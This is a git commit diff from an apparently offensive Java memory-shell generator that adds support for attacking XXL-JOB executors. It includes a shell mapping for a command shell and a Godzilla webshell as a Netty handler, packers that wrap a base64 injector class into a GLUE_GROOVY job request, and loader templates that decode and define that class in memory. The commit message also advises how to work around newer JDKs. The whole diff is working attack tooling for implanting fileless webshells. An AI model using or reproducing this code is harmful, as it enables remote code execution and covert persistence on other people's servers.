feat: support xxl-job executor NettyHandler (#30)

Only support jdk8, in jdk11 or jdk17 env, you should use file write and use urlClassLoader to load injectorClass or else.
This commit is contained in:
ReaJason
2025-01-22 18:36:19 +08:00
parent 08ffa47531
commit f9eb9dafa4
51 changed files with 1042 additions and 335 deletions
@@ -0,0 +1,30 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
import com.reajason.javaweb.memshell.xxljob.injector.XxlJobNettyHandlerInjector;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Map;
/**
* @author ReaJason
* @since 2025/1/21
*/
public class XxlJobShell extends AbstractShell {
public static final String NETTY_HANDLER = "NettyHandler";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
NETTY_HANDLER, Pair.of(CommandNettyHandler.class, XxlJobNettyHandlerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
NETTY_HANDLER, Pair.of(GodzillaNettyHandler.class, XxlJobNettyHandlerInjector.class)
);
}
}
@@ -1,7 +1,9 @@
package com.reajason.javaweb.memshell.config;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import org.apache.commons.codec.binary.Base64;
/**
@@ -9,6 +11,8 @@ import org.apache.commons.codec.binary.Base64;
* @since 2024/11/24
*/
@Data
@NoArgsConstructor
@AllArgsConstructor
@Builder(builderClassName = "GenerateResultBuilder")
public class GenerateResult {
private String shellClassName;
@@ -81,6 +81,11 @@ public enum Server {
* 中创中间件
*/
InforSuite(new InforSuiteShell()),
/**
* XXL-JOB
*/
XXLJOB(new XxlJobShell())
;
private final AbstractShell shell;
@@ -87,6 +87,10 @@ public interface Packer {
AgentJar(new AgentJarPacker()),
XxlJob(new XxlJobPacker()),
XxlJob230(new XxlJob230Packer()),
;
private final Packer packer;
@@ -0,0 +1,47 @@
package com.reajason.javaweb.memshell.packer;
import com.alibaba.fastjson2.JSONObject;
import com.alibaba.fastjson2.JSONWriter;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2025/1/21
*/
public class XxlJob230Packer implements Packer {
String template = "";
public XxlJob230Packer() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/XXL-Job-DefineClass-230.java")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
public String pack(GenerateResult generateResult) {
String source = template
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str())
.replace("{{className}}", generateResult.getInjectorClassName());
JSONObject jsonObject = new JSONObject();
jsonObject.put("jobId", 1);
jsonObject.put("executorHandler", "demoJobHandler");
jsonObject.put("executorParams", "demoJobHandler");
jsonObject.put("executorBlockStrategy", "COVER_EARLY");
jsonObject.put("executorTimeout", 0);
jsonObject.put("logId", 1);
jsonObject.put("logDateTime", System.currentTimeMillis());
jsonObject.put("glueType", "GLUE_GROOVY");
jsonObject.put("glueSource", source);
jsonObject.put("glueUpdatetime", System.currentTimeMillis());
jsonObject.put("broadcastIndex", 0);
jsonObject.put("broadcastTotal", 0);
return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat);
}
}
@@ -0,0 +1,47 @@
package com.reajason.javaweb.memshell.packer;
import com.alibaba.fastjson2.JSONObject;
import com.alibaba.fastjson2.JSONWriter;
import com.reajason.javaweb.memshell.config.GenerateResult;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2025/1/21
*/
public class XxlJobPacker implements Packer {
String template = "";
public XxlJobPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/XXL-Job-DefineClass.java")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
public String pack(GenerateResult generateResult) {
String source = template
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str())
.replace("{{className}}", generateResult.getInjectorClassName());
JSONObject jsonObject = new JSONObject();
jsonObject.put("jobId", 1);
jsonObject.put("executorHandler", "demoJobHandler");
jsonObject.put("executorParams", "demoJobHandler");
jsonObject.put("executorBlockStrategy", "COVER_EARLY");
jsonObject.put("executorTimeout", 0);
jsonObject.put("logId", 1);
jsonObject.put("logDateTime", System.currentTimeMillis());
jsonObject.put("glueType", "GLUE_GROOVY");
jsonObject.put("glueSource", source);
jsonObject.put("glueUpdatetime", System.currentTimeMillis());
jsonObject.put("broadcastIndex", 0);
jsonObject.put("broadcastTotal", 0);
return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat);
}
}
@@ -0,0 +1,30 @@
import com.xxl.job.core.handler.IJobHandler;
import java.util.Base64;
public class DemoGlueJobHandler extends IJobHandler {
public static class Definder extends ClassLoader {
public Definder() {
super(Thread.currentThread().getContextClassLoader());
}
public Class<?> defineClass(byte[] bytes) {
return defineClass(null, bytes, 0, bytes.length);
}
}
public void execute() throws Exception {
String base64Str = "{{base64Str}}";
String className = "{{className}}";
try {
Class.forName(className);
} catch (ClassNotFoundException e) {
try {
new Definder().defineClass(Base64.getDecoder().decode(base64Str)).newInstance();
} catch (Throwable ee) {
ee.printStackTrace();
}
}
}
}
@@ -0,0 +1,42 @@
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;
public class DemoGlueJobHandler extends IJobHandler {
public static class Definder extends ClassLoader {
public Definder() {
super(Thread.currentThread().getContextClassLoader());
}
public Class<?> defineClass(byte[] bytes) {
return defineClass(null, bytes, 0, bytes.length);
}
}
public ReturnT<String> execute(String param) throws Exception {
String base64Str = "{{base64Str}}";
String className = "{{className}}";
try {
Class.forName(className);
} catch (ClassNotFoundException e) {
try {
new Definder().defineClass(decodeBase64(base64Str)).newInstance();
} catch (Throwable ee) {
ee.printStackTrace();
}
}
return ReturnT.SUCCESS;
}
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
}